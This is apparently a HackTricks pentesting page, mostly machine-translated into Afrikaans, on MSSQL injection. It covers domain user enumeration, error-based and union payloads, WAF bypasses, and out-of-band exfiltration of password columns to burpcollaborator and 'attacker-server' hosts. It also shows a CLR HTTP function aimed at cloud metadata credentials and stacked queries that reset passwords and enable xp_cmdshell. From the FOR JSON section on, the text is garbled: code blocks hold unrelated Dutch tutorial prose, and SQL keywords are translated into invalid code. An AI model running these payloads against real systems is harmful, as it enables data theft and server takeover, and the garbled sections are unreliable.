# MSSQL Injeksie

<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>

## Aktiewe Gidsopnoeming

Dit mag moontlik wees om **domeingebruikers op te som deur middel van SQL-injeksie binne 'n MSSQL**-bediener te gebruik met die volgende MSSQL-funksies:

* **`SELECT DEFAULT_DOMAIN()`**: Kry die huidige domeinnaam.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: As jy die naam van die domein weet (_DOMAIN_ in hierdie voorbeeld), sal hierdie funksie die **SID van die gebruiker Administrator** in heksformaat teruggee. Dit sal lyk soos `0x01050000000[...]0000f401`, let op hoe die **laaste 4 byte** die nommer **500** in **big endian**-formaat is, wat die **gewone ID van die gebruiker administrator** is.\
Hierdie funksie sal jou in staat stel om die ID van die domein te **ken** (alle bytes behalwe die laaste 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Hierdie funksie sal die **gebruikersnaam van die aangeduide ID** teruggee (indien enige), in hierdie geval **0000e803** in big endian == **1000** (gewoonlik is dit die ID van die eerste gewone gebruikers-ID wat geskep is). Dan kan jy dink dat jy gebruikers-ID's van 1000 tot 2000 kan kragtig en waarskynlik al die gebruikersname van die gebruikers van die domein kan kry. Byvoorbeeld deur 'n funksie soos die volgende te gebruik:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **Alternatiewe Fout-Gebaseerde vektore**

Fout-Gebaseerde SQL-injeksies lyk gewoonlik soos konstruksies soos `+AND+1=@@version--` en variasies gebaseer op die "OF" operator. Navrae wat sulke uitdrukkings bevat, word gewoonlik deur WAFs geblokkeer. As 'n omweg, kombineer 'n string met behulp van die %2b karakter met die resultaat van spesifieke funksie-oproepe wat 'n data tipe omskakelingsfout veroorsaak op die gesogte data.

Sommige voorbeelde van sulke funksies:

* `SUSER_NAME()`
* `USER_NAME()`
* `PERMISSIONS()`
* `DB_NAME()`
* `FILE_NAME()`
* `TYPE_NAME()`
* `COL_NAME()`

Voorbeeld van die gebruik van die funksie `USER_NAME()`:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)

## SSRF

Hierdie SSRF-truuks [is geneem vanaf hier](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

### `fn_xe_file_target_read_file`

Dit vereis **`VIEW SERVER STATE`** toestemming op die bediener.
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```

```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`

Dit vereis die **`CONTROL SERVER`** toestemming.
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```

```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettabe`

Dit vereis die **`CONTROL SERVER`** toestemming.
```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```

```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>

Opgeslane prosedures soos `xp_dirtree`, alhoewel nie amptelik deur Microsoft gedokumenteer nie, is deur ander aanlyn beskryf as gevolg van hul bruikbaarheid in netwerkoperasies binne MSSQL. Hierdie prosedures word dikwels gebruik vir Out of Band Data eksfiltrering, soos gedemonstreer in verskeie [voorbeelde](https://www.notsosecure.com/oob-exploitation-cheatsheet/) en [berigte](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).

Die `xp_dirtree` opgeslane prosedure word byvoorbeeld gebruik om netwerkversoeke te maak, maar dit is beperk tot slegs TCP-poort 445. Die poortnommer is nie wysigbaar nie, maar dit maak dit moontlik om van netwerk-aandele te lees. Die gebruik word gedemonstreer in die volgende SQL-skrip:
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
Dit is vermeldenswaardig dat hierdie metode moontlik nie op alle stelselkonfigurasies sal werk nie, soos op `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` wat op 'n `Windows Server 2016 Datacenter` met verstekinstellings loop.

Daar is ook alternatiewe gestoorde prosedures soos `master..xp_fileexist` en `xp_subdirs` wat soortgelyke uitkomste kan behaal. Verdere besonderhede oor `xp_fileexist` kan gevind word in hierdie [TechNet-artikel](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).


### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>

Dit is vanselfsprekend dat jy ook **`xp_cmdshell`** kan gebruik om iets uit te voer wat 'n **SSRF** veroorsaak. Vir meer inligting **lees die relevante afdeling** op die bladsy:

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}

### MSSQL Gebruiker-gedefinieerde Funksie - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>

Die skep van 'n CLR UDF (Common Language Runtime User Defined Function), wat kode is wat in enige .NET-taal geskryf is en in 'n DLL saamgestel word, om binne MSSQL gelaai te word vir die uitvoering van aangepaste funksies, is 'n proses wat `dbo`-toegang vereis. Dit beteken dit is gewoonlik haalbaar slegs wanneer die databasisverbinding as `sa` of met 'n Administrateurrol gemaak word.

'n Visual Studio-projek en installasie-instruksies word verskaf in [hierdie Github-opberging](https://github.com/infiniteloopltd/SQLHttp) om die laai van die binêre lêer in MSSQL as 'n CLR-samestelling te fasiliteer, wat die uitvoering van HTTP GET-versoeke van binne MSSQL moontlik maak.

Die kern van hierdie funksionaliteit word gekapsuleer in die `http.cs`-lêer, wat die `WebClient`-klas gebruik om 'n GET-versoek uit te voer en inhoud te herwin soos hieronder geïllustreer:
```csharp
using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
```
Voordat die `CREATE ASSEMBLY` SQL-opdrag uitgevoer word, word dit aanbeveel om die volgende SQL-snippet uit te voer om die SHA512-hash van die vergadering by die bediener se lys van vertroude vergaderings toe te voeg (sigbaar via `select * from sys.trusted_assemblies;`):
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Nadat die montage suksesvol bygevoeg is en die funksie geskep is, kan die volgende SQL-kode gebruik word om HTTP-versoeke uit te voer:
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **Vinnige Uitbuiting: Die volledige inhoud van 'n tabel in 'n enkele navraag herwin**

[Truuk van hier](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

'n Bondige metode om die volledige inhoud van 'n tabel in 'n enkele navraag te onttrek, behels die gebruik van die `FOR JSON`-klousule. Hierdie benadering is beknopter as die gebruik van die `FOR XML`-klousule, wat 'n spesifieke modus soos "raw" vereis. Die `FOR JSON`-klousule word verkies vir sy bondigheid.

Hier is hoe om die skema, tabelle en kolomme van die huidige databasis te herwin:
```sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
# MSSQL-injectie

## Inleiding

MSSQL-injectie is een veelvoorkomende techniek die wordt gebruikt om kwetsbaarheden in MSSQL-databases te exploiteren. Deze techniek maakt gebruik van SQL-injectie om kwaadaardige SQL-query's uit te voeren en gevoelige informatie te verkrijgen.

## Stapsgewijze handleiding voor MSSQL-injectie

### Stap 1: Identificeer de kwetsbaarheid

Om MSSQL-injectie uit te voeren, moet je eerst een kwetsbare webtoepassing vinden die gebruikmaakt van een MSSQL-database. Dit kan worden gedaan door handmatig zoeken naar URL's met parameters of door geautomatiseerde tools te gebruiken.

### Stap 2: Identificeer de injectiepunten

Zodra je een kwetsbare webtoepassing hebt gevonden, moet je de injectiepunten identificeren. Dit zijn de parameters in de URL die mogelijk vatbaar zijn voor SQL-injectie. Je kunt dit doen door de parameters te manipuleren en te controleren op onverwachte gedragingen, zoals foutmeldingen of veranderingen in de SQL-query.

### Stap 3: Test de injectiepunten

Nu je de injectiepunten hebt geïdentificeerd, moet je ze testen om te bevestigen dat ze daadwerkelijk vatbaar zijn voor SQL-injectie. Dit kan worden gedaan door verschillende SQL-injectietechnieken toe te passen, zoals het invoegen van SQL-opdrachten in de parameters en het observeren van de resultaten.

### Stap 4: Verkrijg gevoelige informatie

Als de injectiepunten succesvol zijn getest, kun je gevoelige informatie verkrijgen uit de MSSQL-database. Dit kan worden gedaan door SQL-opdrachten uit te voeren die gegevens ophalen uit de database, zoals het selecteren van tabellen, kolommen of het extraheren van gebruikersnamen en wachtwoorden.

### Stap 5: Voer kwaadaardige acties uit

Na het verkrijgen van gevoelige informatie, kun je kwaadaardige acties uitvoeren, zoals het wijzigen van gegevens in de database, het toevoegen van nieuwe gegevens of het uitvoeren van andere schadelijke SQL-opdrachten.

## Conclusie

MSSQL-injectie is een krachtige techniek die kan worden gebruikt om kwetsbaarheden in MSSQL-databases te exploiteren. Het is belangrijk om deze techniek te begrijpen en te leren hoe je jezelf kunt beschermen tegen dergelijke aanvallen. Door het volgen van de stappen in deze handleiding kun je MSSQL-injectie effectief uitvoeren en gevoelige informatie verkrijgen.
```

### Retrieving the Current Query

[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```sql
## MSSQL Injection

### Union-Based SQL Injection

#### Introduction

Union-based SQL Injection is a technique used to exploit vulnerabilities in web applications that use MSSQL as their database management system. This technique allows an attacker to retrieve sensitive information from the database by injecting malicious SQL code into user input fields.

#### Exploiting the Vulnerability

To exploit the vulnerability, an attacker can manipulate the SQL query by injecting a UNION SELECT statement. This statement allows the attacker to retrieve data from other tables in the database.

For example, consider the following vulnerable URL:

```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```

In this URL, the attacker injects the UNION SELECT statement after the `id` parameter. The injected code retrieves the `text` column from the `sys.dm_exec_requests` table using the `sys.dm_exec_sql_text` function.

#### Protection and Prevention

To protect against Union-Based SQL Injection attacks, it is important to implement proper input validation and parameterized queries. Input validation ensures that user input is properly sanitized and does not contain any malicious code. Parameterized queries help prevent SQL injection by separating the SQL code from the user input.

Additionally, keeping the database and web application up to date with the latest security patches can help mitigate the risk of SQL injection vulnerabilities.

#### Conclusion

Union-Based SQL Injection is a common technique used by attackers to exploit vulnerabilities in web applications. By understanding how this technique works and implementing proper security measures, developers can protect their applications from such attacks.
```

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```

```afrikaans
SELECT * VAN fn_my_permissions(NULL, 'SERVER') WAAR permission_name='VIEW SERVER STATE';
```
```

## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

```
# MSSQL-injectie

## Inleiding

MSSQL-injectie is een veelvoorkomende techniek die wordt gebruikt om kwetsbaarheden in MSSQL-databases te misbruiken. Deze techniek maakt gebruik van onjuiste validatie van gebruikersinvoer om kwaadaardige SQL-query's uit te voeren en toegang te krijgen tot gevoelige gegevens.

## Union-based MSSQL-injectie

Een veelgebruikte methode voor MSSQL-injectie is de union-based aanval. Deze aanval maakt gebruik van het UNION-statement om gegevens uit verschillende tabellen samen te voegen en terug te geven als resultaat van de query. Hierdoor kan een aanvaller gevoelige informatie extraheren die normaal gesproken niet toegankelijk zou zijn.

### Stap 1: Identificatie van een kwetsbaar punt

Om een MSSQL-injectie uit te voeren, moet je eerst een kwetsbaar punt in de applicatie identificeren. Dit kan worden gedaan door het controleren van de URL-parameters, formulieren of andere invoervelden op de website.

### Stap 2: Bepalen van het aantal kolommen

Om een union-based MSSQL-injectie uit te voeren, moet je weten hoeveel kolommen er in de query worden geretourneerd. Dit kan worden gedaan door het injecteren van een ORDER BY-clausule en het verhogen van het getal totdat er geen foutmeldingen meer worden weergegeven.

### Stap 3: Gegevens extraheren

Nu je het aantal kolommen kent, kun je gegevens extraheren uit de database. Dit kan worden gedaan door het injecteren van een UNION-statement gevolgd door de gewenste gegevens. Bijvoorbeeld:

```
https://vuln.app/getItem?id=1 UNION SELECT null,@@version,null--
```

In dit voorbeeld wordt de `@@version`-variabele gebruikt om de versie van de MSSQL-server terug te geven.

## Conclusie

MSSQL-injectie is een krachtige techniek die kan worden gebruikt om toegang te krijgen tot gevoelige gegevens in een MSSQL-database. Het is belangrijk om deze kwetsbaarheid te begrijpen en de nodige maatregelen te nemen om deze te voorkomen, zoals het valideren en filteren van gebruikersinvoer.
```

Scientific (0e) and hex (0x) notation for obfuscating UNION:

```
## MSSQL-injectie

### Unieke SQL-injectie

#### Stap 1: Identificatie van SQL-injectie

Om te beginnen moeten we controleren of de applicatie vatbaar is voor SQL-injectie. We kunnen dit doen door een enkele aanhalingsteken (') in het invoerveld te plaatsen en te kijken of er een foutmelding wordt weergegeven. Als er een foutmelding wordt weergegeven, is de applicatie mogelijk vatbaar voor SQL-injectie.

#### Stap 2: Identificatie van het aantal kolommen

Om een succesvolle SQL-injectie uit te voeren, moeten we weten hoeveel kolommen er in de query worden gebruikt. We kunnen dit doen door de `ORDER BY`-clausule te gebruiken en het aantal kolommen te verhogen totdat er geen foutmelding meer wordt weergegeven. Bijvoorbeeld:

```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
```

In dit voorbeeld voegen we `null`-waarden toe totdat er geen foutmelding meer wordt weergegeven. Het aantal `null`-waarden dat we toevoegen, geeft het aantal kolommen weer.

#### Stap 3: Identificatie van de versie van MSSQL

Om de versie van MSSQL te identificeren, kunnen we de `@@version`-variabele gebruiken. We kunnen dit doen door de query als volgt te wijzigen:

```
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```

In dit voorbeeld gebruiken we `@@version` om de versie van MSSQL te verkrijgen.

### Opmerking

Het is belangrijk op te merken dat SQL-injectie illegaal is en alleen mag worden uitgevoerd met toestemming van de eigenaar van het systeem. Het is ook belangrijk om ethische richtlijnen te volgen en geen schade aan te richten aan systemen of gegevens.
```

A period instead of a whitespace between FROM and a column name:

```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

# MSSQL Injection

## Inleiding

MSSQL-injectie is een veelvoorkomende techniek die wordt gebruikt om kwetsbaarheden in MSSQL-databases bloot te leggen. Deze techniek maakt gebruik van SQL-injectie om kwaadaardige SQL-query's uit te voeren en gevoelige informatie te verkrijgen.

## Stapsgewijze handleiding

1. Identificeer een kwetsbaar doelwit met een MSSQL-database.
2. Zoek naar invoervelden waarin SQL-query's worden uitgevoerd zonder de juiste validatie of ontsmetting.
3. Voer een kwaadaardige SQL-query in het invoerveld in om de database te manipuleren.
4. Gebruik de UNION-operator om gegevens uit andere tabellen op te halen.
5. Gebruik de @@version-functie om de versie van de MSSQL-server te achterhalen.
6. Analyseer de verkregen gegevens om verdere aanvallen uit te voeren of kwetsbaarheden te identificeren.

## Voorbeeld

URL: `https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--`

In dit voorbeeld wordt de UNION-operator gebruikt om de versie van de MSSQL-server te achterhalen. Door `null` te selecteren voor de eerste en derde kolom, wordt voorkomen dat er gegevens worden gelekt. De `@@version`-functie retourneert de versie van de MSSQL-server.

## Conclusie

MSSQL-injectie is een krachtige techniek om kwetsbaarheden in MSSQL-databases te exploiteren. Het is belangrijk om de juiste beveiligingsmaatregelen te nemen, zoals het valideren en ontsmetten van invoervelden, om deze vorm van aanval te voorkomen.
```

\N separator between SELECT and a throwaway column:

```
# MSSQL Injection

## Inleiding

MSSQL-injectie is een veelvoorkomende techniek die wordt gebruikt om kwetsbaarheden in MSSQL-databases te exploiteren. Deze techniek maakt gebruik van onjuiste validatie van gebruikersinvoer om kwaadaardige SQL-query's uit te voeren en toegang te krijgen tot gevoelige gegevens.

## Stapsgewijze handleiding

Hieronder volgt een stapsgewijze handleiding voor het uitvoeren van een MSSQL-injectieaanval:

1. Identificeer de invoervelden op de doelwebsite die mogelijk kwetsbaar zijn voor SQL-injectie. Dit kunnen zoekvakken, inlogformulieren of andere invoervelden zijn waarbij de gebruikersinvoer wordt verwerkt.

2. Voer een eenvoudige test uit door een enkel aanhalingsteken (') in het invoerveld in te voeren. Als de website een foutmelding of een onverwacht gedrag retourneert, kan dit duiden op een SQL-injectiekwetsbaarheid.

3. Gebruik de UNION-operator om gegevens uit andere tabellen in de database op te halen. De UNION-operator combineert de resultaten van twee of meer SELECT-statements. Een voorbeeld van een SQL-injectieaanval met de UNION-operator is:

   ```
   id=0xunion+select\Nnull,@@version,null+from+users--
   ```

   In dit voorbeeld wordt de UNION-operator gebruikt om de versie van de MSSQL-server op te halen uit de `@@version`-variabele.

4. Gebruik de informatie die is verkregen uit de UNION-operator om verdere aanvallen uit te voeren, zoals het ophalen van gebruikersnamen, wachtwoorden of andere gevoelige gegevens.

## Preventie

Om MSSQL-injectie te voorkomen, moeten ontwikkelaars de volgende best practices volgen:

- Gebruik parameterbinding of voorbereide verklaringen om gebruikersinvoer correct te valideren en te ontsmetten voordat deze wordt gebruikt in SQL-query's.

- Implementeer strikte validatie van gebruikersinvoer om ongewenste tekens te filteren.

- Beperk de rechten van de databasegebruiker die wordt gebruikt door de applicatie om alleen de minimale benodigde machtigingen te hebben.

- Houd de MSSQL-server up-to-date met de nieuwste beveiligingspatches.

- Voer regelmatig penetratietests uit om kwetsbaarheden in de applicatie te identificeren en te verhelpen.

## Conclusie

MSSQL-injectie is een ernstige kwetsbaarheid die kan leiden tot ongeautoriseerde toegang tot gevoelige gegevens. Het is belangrijk voor ontwikkelaars en beheerders om zich bewust te zijn van deze kwetsbaarheid en de nodige maatregelen te nemen om deze te voorkomen. Door de best practices te volgen en regelmatig penetratietests uit te voeren, kunnen organisaties hun systemen beschermen tegen MSSQL-injectieaanvallen.
```

### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'
```

So for example, multiple queries such as:

```sql
Gebruik [tempdb]
Skep tabel [toets] ([id] int)
Voeg [toets] waardes in (1)
kies [id] van [toets]
verwyder tabel [toets]
```

Can be reduced to:

```sql
Gebruik[tempdb]skep/**/tabel[test]([id]int)invoer[test]waardes(1)kies[id]van[test]verwyder/**/tabel[test]
```

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

```
# Die byvoeging van 'n nuttelose exec() aan die einde en om die WAF te laat dink dat dit nie 'n geldige navraag is nie
admina'union select 1,'admin','testtest123'exec('select 1')--
## Dit sal wees:
SELECT id, gebruikersnaam, wagwoord FROM gebruikers WHERE gebruikersnaam = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Die gebruik van vreemd opgeboude navrae
admin'exec('update[gebruikers]set[wagwoord]=''a''')--
## Dit sal wees:
SELECT id, gebruikersnaam, wagwoord FROM gebruikers WHERE gebruikersnaam = 'admin'
exec('update[gebruikers]set[wagwoord]=''a''')--'

# Of xp_cmdshell aktiveer
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Dit sal wees:
select * from gebruikers where gebruikersnaam = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```

## References

* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>